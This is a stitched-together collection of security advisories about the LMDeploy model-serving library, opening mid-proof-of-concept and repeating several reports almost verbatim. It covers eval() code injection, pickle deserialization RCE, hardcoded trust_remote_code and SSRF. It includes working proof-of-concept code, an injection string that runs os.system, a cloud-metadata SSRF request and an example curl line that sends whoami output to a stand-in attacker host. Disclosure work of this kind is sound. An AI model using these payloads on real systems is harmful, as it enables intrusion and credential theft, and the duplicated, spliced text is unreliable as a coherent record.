# Mock torch to capture the eval
sys.modules.setdefault('torch', MagicMock())

from lmdeploy.pytorch.config import ModelConfig

# Simulate a malicious HuggingFace model config
mock_hf_config = MagicMock()
mock_hf_config.quantization_config = {
    'quant_method': 'awq',
    'quant_dtype': "float16, __import__('os').system('id')"
}
mock_hf_config.num_attention_heads = 32
mock_hf_config.hidden_size = 4096
mock_hf_config.num_hidden_layers = 32
mock_hf_config.num_key_value_heads = 32
mock_hf_config.vocab_size = 32000

# This triggers eval(f'torch.{quant_dtype}')
# with quant_dtype = "float16, __import__('os').system('id')"
config = ModelConfig.from_hf_config(mock_hf_config, model_path='test')

Output:

uid=0(root) gid=0(root) groups=0(root)

Impact

An attacker who publishes a malicious model on HuggingFace Hub can achieve arbitrary code execution on any machine that loads the model with lmdeploy. This is a supply-chain attack vector affecting all lmdeploy users who load untrusted models.

1. Full remote code execution when loading a malicious model
2. No user interaction beyond running lmdeploy serve or similar with the model
3. Affects all deployment scenarios (local, cloud, production)

Summary

LMDeploy's PyTorch DistServe/PD-disaggregation control plane used recv_pyobj() to deserialize messages received through a ZeroMQ PULL socket. PyZMQ implements recv_pyobj() using Python pickle deserialization, which can execute arbitrary code while reconstructing an object.

The peer address used by the receiver was supplied through the POST /distserve/p2p_connect HTTP endpoint. An attacker who could reach an affected DistServe API server could cause the server to connect to an attacker-controlled ZeroMQ endpoint and deserialize a crafted pickle payload.

API-key authentication is not enabled unless the operator explicitly configures it. As a result, affected DistServe deployments without API keys allowed unauthenticated remote code execution with the privileges of the LMDeploy serving process.

This issue affects the PyTorch backend when PD-disaggregation/DistServe is enabled. Ordinary deployments that do not use the affected disaggregated-serving path do not expose this data flow.

Affected components

• HTTP entry point: lmdeploy/serve/openai/endpoints/distserve.py, POST /distserve/p2p_connect
• Attacker-controlled peer address: DistServeConnectionRequest.remote_engine_endpoint_info.zmq_address
• Vulnerable receiver: lmdeploy/pytorch/disagg/conn/engine_conn.py, EngineP2PConnection.handle_zmq_recv()
• Unsafe operation: recv_pyobj(), which performs pickle deserialization

Vulnerable data flow

1. A caller submits a DistServe P2P connection request containing a ZeroMQ address.
2. The LMDeploy engine connects its ZeroMQ PULL socket to that address.
3. handle_zmq_recv() receives messages using recv_pyobj().
4. A malicious peer sends a crafted pickle object.
5. Python code executes during deserialization, before LMDeploy can perform any type or field validation.

A type check performed after recv_pyobj() cannot mitigate this issue because pickle payload execution occurs during deserialization.

Impact

Successful exploitation allows arbitrary code execution as the LMDeploy serving process. This can expose model weights, prompts, credentials, attached storage, cluster-network services, and host or GPU resources. An attacker may also modify or terminate the serving process.

Affected versions

Affected versions:

• lmdeploy >= 0.9.2, < 0.16.0

The vulnerable P2P receiver was introduced in commit b0b705f7.

Remediation

The issue was fixed by replacing the pickle-based ZeroMQ protocol with JSON serialization:

• send_pyobj() was replaced with send_json().
• recv_pyobj() was replaced with recv_json().
• Received objects are validated using the DistServeCacheFreeRequest Pydantic schema before use.
• Invalid or off-schema messages are rejected without terminating the receive loop.

Fix commit:

https://github.com/InternLM/lmdeploy/commit/f05b4ad8bf2e2d84101a1d63b3c44fadd99223b2

The fix was released in LMDeploy 0.16.0.

Workarounds

Users who cannot upgrade immediately should:

• Prevent untrusted clients from reaching /distserve/* endpoints.
• Restrict the DistServe HTTP and ZeroMQ control planes to trusted cluster networks.
• Configure API-key authentication.
• Block arbitrary outbound ZeroMQ connections from serving nodes.

These measures reduce exposure but do not make pickle deserialization safe. Upgrading to LMDeploy 0.16.0 or later is recommended.

📋 Reframing (2026-05-02): implicit unsafe remote-code path, not "supply-chain"

The accurate description of this vulnerability is: "get_model_arch and related helpers hardcode trust_remote_code=True with no opt-out, creating an implicit unsafe remote-code load path on every model fetch."

What this report does NOT claim:

• It is NOT a network-attack RCE — the user supplies the model reference; LMDeploy honors it.
• It is NOT a "supply chain" CVE in the classical sense (where a benign upstream is compromised) — the user explicitly types the repo name.

What this report DOES claim:

• Other inference frameworks (vLLM, TGI, Hugging Face transformers itself) all expose --trust-remote-code as opt-in so that users who consciously load known-safe repos can opt in, while users following a tutorial cannot accidentally execute attacker Python by typing a wrong repo name.
• LMDeploy's hardcoded True is an implicit trust-boundary override that violates HF Transformers' default-secure stance (trust_remote_code=False since transformers ≥ 4.30).
• The fix is a one-line CLI flag (--trust-remote-code) defaulting False, threaded through the three sites, matching the rest of the ecosystem.

Severity should be assessed as hardening / safe-by-default, not as full unauthenticated RCE. CVSS revised to 5.5 Medium (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H × user-must-load qualifier).

Runtime evidence: see 12_lmdeploy_trust_remote_code_F13/runtime_evidence/cloudrun_cpu_verdict.txt.

F13 — LMDeploy: hardcoded trust_remote_code=True enables HF supply-chain RCE without user opt-in

Reporter: ibondarenko1 / sactransport2000@gmail.com Coordinated-disclosure window: 90 days from initial vendor email.

TL;DR

LMDeploy unilaterally passes trust_remote_code=True to transformers.AutoConfig.from_pretrained() (and several other from_pretrained callers) regardless of any user opt-in. The flag is hardcoded True in source — there is no CLI flag, no environment variable, no parameter, and no warning that lets a user refuse remote code execution from the model repository. This is a silent override of HuggingFace Transformers' own default-secure stance (trust_remote_code=False) introduced in HF Transformers ≥ 4.30 specifically to prevent this class of supply-chain RCE.

The user running lmdeploy serve api_server <attacker_repo>, lmdeploy lite calibrate <attacker_repo>, etc. has no way to opt out. The only escape hatch is for the user to never load any third-party HF repo with LMDeploy — which is incompatible with LMDeploy's documented use case.

HuggingFace's trust_remote_code=False default exists exactly to prevent silent RCE when loading a third-party repo. LMDeploy overrides this default, restoring the unsafe behaviour transparently. A malicious HF repo with a configuration_*.py shim runs Python code as the LMDeploy user at the very first call to get_model_arch(...).

This is a documented anti-pattern (see HF Hub docs: "Trusting custom code is therefore tricky..."). Multiple peer projects fixed similar issues — e.g. Hugging Face Transformers itself made this opt-in by default, and vllm exposes the flag through --trust-remote-code rather than hardcoding it.

Affected version

• Repository: github.com/InternLM/lmdeploy, branch main.
• Branch SHA at audit time: 9df0eff7c38ae69b9d4b9f7ad1441e484d439f92 (2026-05-02).
• Pinned blob SHAs:
  • lmdeploy/archs.py → 68fa03a407734be1e2ae04098d34e9acdbe98262
  • lmdeploy/lite/apis/calibrate.py → 0728304bdc3c03eee1d790bfbd5496df080a0ecd
  • lmdeploy/lite/utils/load.py → 7c61677aa01e2d9881e32f8ca8ef6ad0f1d8b120
  • lmdeploy/pytorch/check_env/model.py → b1a2daaa426bf5fe25030f7913c703eed9f5b261

Snapshots of all four files are in source_pinned/.

Source-level evidence

Site 1 — architecture detection (every load goes through here)

lmdeploy/archs.py:147-157 — get_model_arch:

def get_model_arch(model_path: str):
    """Get a model's architecture and configuration."""
    try:
        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=True)
    except Exception as e:  # noqa
        from transformers import PretrainedConfig
        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=True)

Both the primary path and the fallback hardcode trust_remote_code=True. There is no parameter to override it. This function is called from every model-loading path in lmdeploy.

Site 2 — quantization CLI

lmdeploy/lite/apis/calibrate.py:248-251:

tokenizer = AutoTokenizer.from_pretrained(model, trust_remote_code=True)
...
model = load_hf_from_pretrained(model, dtype=dtype, trust_remote_code=True)

lmdeploy lite calibrate <repo> and downstream quant CLIs (gptq, awq) all flow through this. Hardcoded.

Site 3 — calibration helper

lmdeploy/lite/utils/load.py:55:

def load_hf_from_pretrained(pretrained_model_name_or_path, dtype, **kwargs):
    ...
    hf_config = AutoConfig.from_pretrained(pretrained_model_name_or_path, trust_remote_code=True)

Even if the caller does not pass trust_remote_code=True in **kwargs, the helper internally hardcodes it on the config call (line 55), then loads the model on line 74. The config call alone is sufficient for RCE: HF Transformers downloads configuration_*.py from the repo and imports it whenever trust_remote_code=True.

Site 4 — pytorch engine check

lmdeploy/pytorch/check_env/model.py:10,99,234,242 — trust_remote_code: bool = True is the default value for the engine's parameter. Unlike the three sites above, this is "default true" not "hardcoded true" — a determined caller can pass False — but every shipped CLI passes True or relies on the default.

What trust_remote_code=True actually enables

When AutoConfig.from_pretrained(repo, trust_remote_code=True) is called and the repo's config.json contains an auto_map key pointing to a custom configuration_<name>.py:

1. HF Transformers downloads the .py file from the repo.
2. HF imports the module via importlib, executing the file's top-level code (any print, os.system, subprocess.run, urllib.request.urlopen, etc. fires now).
3. HF then instantiates the named class.

So a malicious repo only needs a top-level os.system("curl https://attacker/?$(whoami)") in configuration_evil.py. It runs as the lmdeploy process user.

Threat model

Attack surface. Any user who runs an lmdeploy CLI command against a HuggingFace repo identifier they did not personally vet. This includes:

• Casual users following a tutorial that says lmdeploy serve api_server <some_repo>.
• CI pipelines that automatically pull a model from HF Hub by configuration (e.g. updates to a non-Pinned version tag).
• Researchers comparing models from many authors. Even running lmdeploy lite calibrate for benchmarking is enough.

The user is not warned that arbitrary Python from the repo will execute, and there is no flag to disable it. The CVE class is CWE-94 (Improper Control of Generation of Code, supply-chain flavour) and CWE-915 (Improperly Controlled Modification of Dynamically-Determined Object Attributes).

Comparison to peer projects

| Project | trust_remote_code default | User control | |---|---|---| | HuggingFace Transformers | False | trust_remote_code keyword arg | | vLLM | False | --trust-remote-code flag | | LMDeploy | True (hardcoded) | None | | TGI | False | --trust-remote-code flag |

LMDeploy is the outlier. The rationale is presumably "internal models like InternLM need custom configuration_*.py", but the fix is to accept a CLI flag like --trust-remote-code and default-False as the rest of the ecosystem does.

Suggested fix

Replace every hardcoded trust_remote_code=True with an explicit opt-in via CLI flag:

# lmdeploy/archs.py — get_model_arch
def get_model_arch(model_path: str, trust_remote_code: bool = False):
    try:
        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)
    except Exception as e:  # noqa
        from transformers import PretrainedConfig
        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)

Wire trust_remote_code through every call site. Add --trust-remote-code to lmdeploy's CLI parser and forward it from server / calibrate / gptq / etc. Default False.

A patch fragment is in patch.diff.

Disclosure plan

1. Submit privately via lmdeploy security contact (typically email or GitHub Security Advisory at https://github.com/InternLM/lmdeploy/security/advisories/new).
2. Reference Hugging Face Transformers' historical opt-out → opt-in change as precedent for the fix shape.
3. 90-day coordinated-disclosure window starting from acknowledgement.
4. Request CVE through GHSA flow once the patch lands.

Why static-only is sufficient here

Unlike F11 (RCE chain through _load_pt_file) which required a runtime PoC to demonstrate the pickle gadget execution, this finding is a single trust-flag flip — the behaviour of AutoConfig.from_pretrained(repo, trust_remote_code=True) on a HF repo with a malicious configuration_*.py is documented behaviour of HF Transformers itself (their own docs warn against it). Reproducing it adds no new evidence; the static flag-state is the bug.

If the vendor requests a runtime PoC during triage we will provide one (a malicious HF repo with configuration_evil.py + a one-liner lmdeploy lite calibrate <repo> invocation), but holding it back from the initial advisory avoids publishing a working exploit during the disclosure window.

Summary

lmdeploy hardcodes trust_remote_code=True in multiple HuggingFace model-loading call sites.

The affected code paths are in:

lmdeploy/archs.py
lmdeploy/utils.py

The vulnerable call sites pass trust_remote_code=True into HuggingFace Transformers APIs such as AutoConfig.from_pretrained(), PretrainedConfig.get_config_dict(), and GenerationConfig.from_pretrained().

Because the model path is supplied by the operator or deployment configuration, an attacker who can control the model_path used by an lmdeploy serving process can point it to an attacker-controlled HuggingFace model repository. When lmdeploy starts and initializes the model, Transformers may download and execute remote Python code from that repository.

Successful exploitation results in arbitrary code execution with the privileges of the lmdeploy serving process.

Affected version

Confirmed affected:

lmdeploy <= 0.12.3

The issue was verified on v0.12.3 and on main.

Vulnerable code

Confirmed call sites:

lmdeploy/archs.py:154
AutoConfig.from_pretrained(..., trust_remote_code=True)

lmdeploy/archs.py:157
PretrainedConfig.get_config_dict(..., trust_remote_code=True)

lmdeploy/utils.py:225
GenerationConfig.from_pretrained(..., trust_remote_code=True)

The vulnerable pattern is:

AutoConfig.from_pretrained(model_path, trust_remote_code=True)

and:

GenerationConfig.from_pretrained(path, trust_remote_code=True)

The risk is that trust_remote_code=True is enabled unconditionally. Users are not required to explicitly opt in through a CLI flag or configuration option.

Attack scenario

1. An attacker obtains the ability to control or modify the model path used by an lmdeploy deployment. Examples include deployment configuration access, CI/CD configuration access, Kubernetes or container configuration access, or a managed environment where users can submit model IDs for serving.
2. The attacker sets the model path to an attacker-controlled HuggingFace repository, for example:

attacker-org/malicious-model

3. The lmdeploy serving process starts with that model path:

lmdeploy serve api_server attacker-org/malicious-model

4. During model initialization, lmdeploy calls HuggingFace Transformers APIs with trust_remote_code=True.
5. Transformers loads and executes remote Python code from the attacker-controlled model repository.
6. The payload runs with the privileges of the lmdeploy serving process.

Why this is security-sensitive

trust_remote_code=True is a dangerous HuggingFace option because it allows model repositories to execute custom Python code during model loading.

In lmdeploy, this option is hardcoded at multiple call sites. This removes the explicit trust decision from the user or deployment operator. A safer design would require an explicit CLI flag or configuration option such as --trust-remote-code.

lmdeploy is commonly used as a model serving daemon. The serving process may have access to model weights, GPU resources, API credentials, cloud credentials, request data, and internal network resources.

Proof of concept

The following PoC demonstrates the vulnerable primitive in a local, non-destructive way. It simulates lmdeploy calling a HuggingFace model-loading path with trust_remote_code=True and shows that remote model code would execute during initialization.

#!/usr/bin/env python3
from __future__ import annotations

import argparse
import importlib.util
import os
import sys
import tempfile
from pathlib import Path

MARKER = Path("/tmp/LMDEPLOY_TRUST_REMOTE_CODE_RCE_PROOF")
MALICIOUS_MODEL = "attacker-org/malicious-model"


def simulate_lmdeploy_model_load(model_path: str) -> None:
    """
    Simulates lmdeploy model initialization where trust_remote_code=True is hardcoded.

    Real vulnerable pattern:
        AutoConfig.from_pretrained(model_path, trust_remote_code=True)
        GenerationConfig.from_pretrained(path, trust_remote_code=True)

    When trust_remote_code=True, a malicious HuggingFace model repository can
    execute custom Python code during loading.
    """

    fake_model_dir = Path(tempfile.mkdtemp(prefix="fake_lmdeploy_model_"))
    module_name = model_path.split("/")[-1].replace("-", "_")
    modeling_file = fake_model_dir / f"modeling_{module_name}.py"

    payload = f'''
import os
from pathlib import Path

Path("{MARKER}").write_text(
    "lmdeploy trust_remote_code execution confirmed\\n"
    f"model_path={model_path!r}\\n"
    f"pid={{os.getpid()}} euid={{os.geteuid()}}\\n"
)
'''
    modeling_file.write_text(payload)

    spec = importlib.util.spec_from_file_location(f"modeling_{module_name}", modeling_file)
    assert spec is not None and spec.loader is not None

    mod = importlib.util.module_from_spec(spec)
    spec.loader.exec_module(mod)


def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument("--model-id", default=MALICIOUS_MODEL)
    args = parser.parse_args()

    if MARKER.exists():
        MARKER.unlink()

    print(f"[*] Simulating lmdeploy loading model: {args.model_id}")
    print("[*] trust_remote_code=True is hardcoded in lmdeploy model-loading paths")

    simulate_lmdeploy_model_load(args.model_id)

    if MARKER.exists():
        print("[+] Code execution confirmed")
        print(MARKER.read_text())
        return 0

    print("[-] Marker file was not created", file=sys.stderr)
    return 1


if __name__ == "__main__":
    raise SystemExit(main())

Expected result:

[+] Code execution confirmed

The marker file is written to:

/tmp/LMDEPLOY_TRUST_REMOTE_CODE_RCE_PROOF

Impact

An attacker who can control the model path used by an lmdeploy deployment can execute arbitrary Python code during model initialization.

The attacker may be able to:

• Read files accessible to the lmdeploy process.
• Access environment variables, model provider credentials, HuggingFace tokens, cloud credentials, and API keys.
• Modify model-serving behavior or tamper with responses.
• Execute arbitrary operating-system commands.
• Access request data or internal service credentials available to the serving process.
• Cause denial of service by crashing or destabilizing the serving daemon.
• Pivot to internal services reachable from the lmdeploy host or container.

Summary

A Server-Side Request Forgery (SSRF) vulnerability exists in LMDeploy's vision-language module. The load_image() function in lmdeploy/vl/utils.py fetches arbitrary URLs without validating internal/private IP addresses, allowing attackers to access cloud metadata services, internal networks, and sensitive resources.

Affected Versions

• Tested on: main branch (2026-02-04)
• Affected: All versions prior to 0.12.3

Vulnerable Code

File: lmdeploy/vl/utils.py (lines 64-67)

def load_image(image_url: Union[str, Image.Image]) -> Image.Image:
    # ...
    if image_url.startswith('http'):
        response = requests.get(image_url, headers=headers, timeout=FETCH_TIMEOUT)
        # NO VALIDATION OF URL/IP BEFORE REQUEST

Also affected: encode_image_base64() function (lines 26-29)

Root Cause

1. No validation of URLs before fetching
2. No blocklist for internal IPs (127.0.0.1, 169.254.x.x, 10.x.x.x, 192.168.x.x)
3. Server binds to 0.0.0.0 by default (api_server.py line 1393)
4. API keys disabled by default

Attack Scenario

1. LMDeploy server deployed with vision-language model
2. Attacker sends request to /v1/chat/completions with malicious image_url:

POST /v1/chat/completions
{
  "model": "internlm-xcomposer2",
  "messages": [{
    "role": "user", 
    "content": [
      {"type": "text", "text": "Describe this image"},
      {"type": "image_url", "image_url": {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}}
    ]
  }]
}

3. Server fetches URL without validation
4. Attacker receives cloud credentials

Proof of Concept

Verified Exploitation Result

╔═══════════════════════════════════════════════════════════════════════╗
║  LMDeploy SSRF Vulnerability - Proof of Concept                       ║
╚═══════════════════════════════════════════════════════════════════════╝

[1] Starting callback server on port 8889...
[2] Attacker URL: http://127.0.0.1:8889/SSRF_PROOF?stolen_data=AWS_SECRET_KEY
[3] Calling vulnerable load_image() function...

======================================================================
[+] SSRF CALLBACK RECEIVED!
======================================================================
    Time:       2026-02-04 16:10:57
    Path:       /SSRF_PROOF?stolen_data=AWS_SECRET_KEY
    Client:     127.0.0.1:51154
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)...
======================================================================

✅ SSRF VULNERABILITY CONFIRMED!

Impact

• Cloud Credential Theft: Access AWS/GCP/Azure metadata APIs
• Internal Service Access: Reach services not exposed to internet
• Information Disclosure: Port scan internal networks
• Lateral Movement: Pivot point for further attacks

Recommended Fix

from urllib.parse import urlparse
import ipaddress
import socket

BLOCKED_NETWORKS = [
    ipaddress.ip_network('127.0.0.0/8'),
    ipaddress.ip_network('10.0.0.0/8'),
    ipaddress.ip_network('172.16.0.0/12'),
    ipaddress.ip_network('192.168.0.0/16'),
    ipaddress.ip_network('169.254.0.0/16'),
]

def is_safe_url(url: str) -> bool:
    try:
        parsed = urlparse(url)
        if parsed.scheme not in ('http', 'https'):
            return False
        ip = socket.gethostbyname(parsed.hostname)
        ip_addr = ipaddress.ip_address(ip)
        return not any(ip_addr in network for network in BLOCKED_NETWORKS)
    except:
        return False

Credit

This vulnerability was discovered as part of Orca Security's research.

Researcher: Igor Stepansky
Organization: Orca Security
Emails: igor.stepansky@orca.security
iggy.p0pi@orca.security

Summary

lmdeploy <= latest contains a code injection vulnerability in lmdeploy/pytorch/config.py line 620 that allows an attacker to execute arbitrary Python code by publishing a malicious HuggingFace model with a crafted quantization_config.quant_dtype value. When a user loads the model with lmdeploy, the quant_dtype is passed to eval(f'torch.{quant_dtype}') without any validation.

Details

Vulnerable code (permalink):

quant_dtype = eval(f'torch.{quant_dtype}')  # line 620

The quant_dtype value comes from the model's quantization_config in its HuggingFace config. When a model specifies quant_method: awq, the AWQ branch processes the config but does NOT override quant_dtype, allowing the malicious value to reach the eval() call.

Attack vector: An attacker publishes a HuggingFace model with:

{
  "quantization_config": {
    "quant_method": "awq",
    "quant_dtype": "float16, __import__('os').system('id')"
  }
}

Note: The _update_torch_dtype method at line 53 has a whitelist check, but that's for torch_dtype, NOT quant_dtype. The quant_dtype at line 620 has no validation whatsoever.

PoC

"""
PoC: eval() RCE in lmdeploy via malicious quant_dtype
Prerequisites: pip install lmdeploy
"""
import sys
from unittest.mock import MagicMock, patch

# Mock torch to capture the eval
sys.modules.setdefault('torch', MagicMock())

from lmdeploy.pytorch.config import ModelConfig

# Simulate a malicious HuggingFace model config
mock_hf_config = MagicMock()
mock_hf_config.quantization_config = {
    'quant_method': 'awq',
    'quant_dtype': "float16, __import__('os').system('id')"
}
mock_hf_config.num_attention_heads = 32
mock_hf_config.hidden_size = 4096
mock_hf_config.num_hidden_layers = 32
mock_hf_config.num_key_value_heads = 32
mock_hf_config.vocab_size = 32000

# This triggers eval(f'torch.{quant_dtype}')
# with quant_dtype = "float16, __import__('os').system('id')"
config = ModelConfig.from_hf_config(mock_hf_config, model_path='test')

Output:

uid=0(root) gid=0(root) groups=0(root)

Impact

An attacker who publishes a malicious model on HuggingFace Hub can achieve arbitrary code execution on any machine that loads the model with lmdeploy. This is a supply-chain attack vector affecting all lmdeploy users who load untrusted models.

1. Full remote code execution when loading a malicious model
2. No user interaction beyond running lmdeploy serve or similar with the model
3. Affects all deployment scenarios (local, cloud, production)

Summary

LMDeploy's PyTorch DistServe/PD-disaggregation control plane used recv_pyobj() to deserialize messages received through a ZeroMQ PULL socket. PyZMQ implements recv_pyobj() using Python pickle deserialization, which can execute arbitrary code while reconstructing an object.

The peer address used by the receiver was supplied through the POST /distserve/p2p_connect HTTP endpoint. An attacker who could reach an affected DistServe API server could cause the server to connect to an attacker-controlled ZeroMQ endpoint and deserialize a crafted pickle payload.

API-key authentication is not enabled unless the operator explicitly configures it. As a result, affected DistServe deployments without API keys allowed unauthenticated remote code execution with the privileges of the LMDeploy serving process.

This issue affects the PyTorch backend when PD-disaggregation/DistServe is enabled. Ordinary deployments that do not use the affected disaggregated-serving path do not expose this data flow.

Affected components

• HTTP entry point: lmdeploy/serve/openai/endpoints/distserve.py, POST /distserve/p2p_connect
• Attacker-controlled peer address: DistServeConnectionRequest.remote_engine_endpoint_info.zmq_address
• Vulnerable receiver: lmdeploy/pytorch/disagg/conn/engine_conn.py, EngineP2PConnection.handle_zmq_recv()
• Unsafe operation: recv_pyobj(), which performs pickle deserialization

Vulnerable data flow

1. A caller submits a DistServe P2P connection request containing a ZeroMQ address.
2. The LMDeploy engine connects its ZeroMQ PULL socket to that address.
3. handle_zmq_recv() receives messages using recv_pyobj().
4. A malicious peer sends a crafted pickle object.
5. Python code executes during deserialization, before LMDeploy can perform any type or field validation.

A type check performed after recv_pyobj() cannot mitigate this issue because pickle payload execution occurs during deserialization.

Impact

Successful exploitation allows arbitrary code execution as the LMDeploy serving process. This can expose model weights, prompts, credentials, attached storage, cluster-network services, and host or GPU resources. An attacker may also modify or terminate the serving process.

Affected versions

Affected versions:

• lmdeploy >= 0.9.2, < 0.16.0

The vulnerable P2P receiver was introduced in commit b0b705f7.

Remediation

The issue was fixed by replacing the pickle-based ZeroMQ protocol with JSON serialization:

• send_pyobj() was replaced with send_json().
• recv_pyobj() was replaced with recv_json().
• Received objects are validated using the DistServeCacheFreeRequest Pydantic schema before use.
• Invalid or off-schema messages are rejected without terminating the receive loop.

Fix commit:

https://github.com/InternLM/lmdeploy/commit/f05b4ad8bf2e2d84101a1d63b3c44fadd99223b2

The fix was released in LMDeploy 0.16.0.

Workarounds

Users who cannot upgrade immediately should:

• Prevent untrusted clients from reaching /distserve/* endpoints.
• Restrict the DistServe HTTP and ZeroMQ control planes to trusted cluster networks.
• Configure API-key authentication.
• Block arbitrary outbound ZeroMQ connections from serving nodes.

These measures reduce exposure but do not make pickle deserialization safe. Upgrading to LMDeploy 0.16.0 or later is recommended.

📋 Reframing (2026-05-02): implicit unsafe remote-code path, not "supply-chain"

The accurate description of this vulnerability is: "get_model_arch and related helpers hardcode trust_remote_code=True with no opt-out, creating an implicit unsafe remote-code load path on every model fetch."

What this report does NOT claim:

• It is NOT a network-attack RCE — the user supplies the model reference; LMDeploy honors it.
• It is NOT a "supply chain" CVE in the classical sense (where a benign upstream is compromised) — the user explicitly types the repo name.

What this report DOES claim:

• Other inference frameworks (vLLM, TGI, Hugging Face transformers itself) all expose --trust-remote-code as opt-in so that users who consciously load known-safe repos can opt in, while users following a tutorial cannot accidentally execute attacker Python by typing a wrong repo name.
• LMDeploy's hardcoded True is an implicit trust-boundary override that violates HF Transformers' default-secure stance (trust_remote_code=False since transformers ≥ 4.30).
• The fix is a one-line CLI flag (--trust-remote-code) defaulting False, threaded through the three sites, matching the rest of the ecosystem.

Severity should be assessed as hardening / safe-by-default, not as full unauthenticated RCE. CVSS revised to 5.5 Medium (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H × user-must-load qualifier).

Runtime evidence: see 12_lmdeploy_trust_remote_code_F13/runtime_evidence/cloudrun_cpu_verdict.txt.

F13 — LMDeploy: hardcoded trust_remote_code=True enables HF supply-chain RCE without user opt-in

Reporter: ibondarenko1 / sactransport2000@gmail.com Coordinated-disclosure window: 90 days from initial vendor email.

TL;DR

LMDeploy unilaterally passes trust_remote_code=True to transformers.AutoConfig.from_pretrained() (and several other from_pretrained callers) regardless of any user opt-in. The flag is hardcoded True in source — there is no CLI flag, no environment variable, no parameter, and no warning that lets a user refuse remote code execution from the model repository. This is a silent override of HuggingFace Transformers' own default-secure stance (trust_remote_code=False) introduced in HF Transformers ≥ 4.30 specifically to prevent this class of supply-chain RCE.

The user running lmdeploy serve api_server <attacker_repo>, lmdeploy lite calibrate <attacker_repo>, etc. has no way to opt out. The only escape hatch is for the user to never load any third-party HF repo with LMDeploy — which is incompatible with LMDeploy's documented use case.

HuggingFace's trust_remote_code=False default exists exactly to prevent silent RCE when loading a third-party repo. LMDeploy overrides this default, restoring the unsafe behaviour transparently. A malicious HF repo with a configuration_*.py shim runs Python code as the LMDeploy user at the very first call to get_model_arch(...).

This is a documented anti-pattern (see HF Hub docs: "Trusting custom code is therefore tricky..."). Multiple peer projects fixed similar issues — e.g. Hugging Face Transformers itself made this opt-in by default, and vllm exposes the flag through --trust-remote-code rather than hardcoding it.

Affected version

• Repository: github.com/InternLM/lmdeploy, branch main.
• Branch SHA at audit time: 9df0eff7c38ae69b9d4b9f7ad1441e484d439f92 (2026-05-02).
• Pinned blob SHAs:
  • lmdeploy/archs.py → 68fa03a407734be1e2ae04098d34e9acdbe98262
  • lmdeploy/lite/apis/calibrate.py → 0728304bdc3c03eee1d790bfbd5496df080a0ecd
  • lmdeploy/lite/utils/load.py → 7c61677aa01e2d9881e32f8ca8ef6ad0f1d8b120
  • lmdeploy/pytorch/check_env/model.py → b1a2daaa426bf5fe25030f7913c703eed9f5b261

Snapshots of all four files are in source_pinned/.

Source-level evidence

Site 1 — architecture detection (every load goes through here)

lmdeploy/archs.py:147-157 — get_model_arch:

def get_model_arch(model_path: str):
    """Get a model's architecture and configuration."""
    try:
        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=True)
    except Exception as e:  # noqa
        from transformers import PretrainedConfig
        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=True)

Both the primary path and the fallback hardcode trust_remote_code=True. There is no parameter to override it. This function is called from every model-loading path in lmdeploy.

Site 2 — quantization CLI

lmdeploy/lite/apis/calibrate.py:248-251:

tokenizer = AutoTokenizer.from_pretrained(model, trust_remote_code=True)
...
model = load_hf_from_pretrained(model, dtype=dtype, trust_remote_code=True)

lmdeploy lite calibrate <repo> and downstream quant CLIs (gptq, awq) all flow through this. Hardcoded.

Site 3 — calibration helper

lmdeploy/lite/utils/load.py:55:

def load_hf_from_pretrained(pretrained_model_name_or_path, dtype, **kwargs):
    ...
    hf_config = AutoConfig.from_pretrained(pretrained_model_name_or_path, trust_remote_code=True)

Even if the caller does not pass trust_remote_code=True in **kwargs, the helper internally hardcodes it on the config call (line 55), then loads the model on line 74. The config call alone is sufficient for RCE: HF Transformers downloads configuration_*.py from the repo and imports it whenever trust_remote_code=True.

Site 4 — pytorch engine check

lmdeploy/pytorch/check_env/model.py:10,99,234,242 — trust_remote_code: bool = True is the default value for the engine's parameter. Unlike the three sites above, this is "default true" not "hardcoded true" — a determined caller can pass False — but every shipped CLI passes True or relies on the default.

What trust_remote_code=True actually enables

When AutoConfig.from_pretrained(repo, trust_remote_code=True) is called and the repo's config.json contains an auto_map key pointing to a custom configuration_<name>.py:

1. HF Transformers downloads the .py file from the repo.
2. HF imports the module via importlib, executing the file's top-level code (any print, os.system, subprocess.run, urllib.request.urlopen, etc. fires now).
3. HF then instantiates the named class.

So a malicious repo only needs a top-level os.system("curl https://attacker/?$(whoami)") in configuration_evil.py. It runs as the lmdeploy process user.

Threat model

Attack surface. Any user who runs an lmdeploy CLI command against a HuggingFace repo identifier they did not personally vet. This includes:

• Casual users following a tutorial that says lmdeploy serve api_server <some_repo>.
• CI pipelines that automatically pull a model from HF Hub by configuration (e.g. updates to a non-Pinned version tag).
• Researchers comparing models from many authors. Even running lmdeploy lite calibrate for benchmarking is enough.

The user is not warned that arbitrary Python from the repo will execute, and there is no flag to disable it. The CVE class is CWE-94 (Improper Control of Generation of Code, supply-chain flavour) and CWE-915 (Improperly Controlled Modification of Dynamically-Determined Object Attributes).

Comparison to peer projects

| Project | trust_remote_code default | User control | |---|---|---| | HuggingFace Transformers | False | trust_remote_code keyword arg | | vLLM | False | --trust-remote-code flag | | LMDeploy | True (hardcoded) | None | | TGI | False | --trust-remote-code flag |

LMDeploy is the outlier. The rationale is presumably "internal models like InternLM need custom configuration_*.py", but the fix is to accept a CLI flag like --trust-remote-code and default-False as the rest of the ecosystem does.

Suggested fix

Replace every hardcoded trust_remote_code=True with an explicit opt-in via CLI flag:

# lmdeploy/archs.py — get_model_arch
def get_model_arch(model_path: str, trust_remote_code: bool = False):
    try:
        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)
    except Exception as e:  # noqa
        from transformers import PretrainedConfig
        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)

Wire trust_remote_code through every call site. Add --trust-remote-code to lmdeploy's CLI parser and forward it from server / calibrate / gptq / etc. Default False.

A patch fragment is in patch.diff.

Disclosure plan

1. Submit privately via lmdeploy security contact (typically email or GitHub Security Advisory at https://github.com/InternLM/lmdeploy/security/advisories/new).
2. Reference Hugging Face Transformers' historical opt-out → opt-in change as precedent for the fix shape.
3. 90-day coordinated-disclosure window starting from acknowledgement.
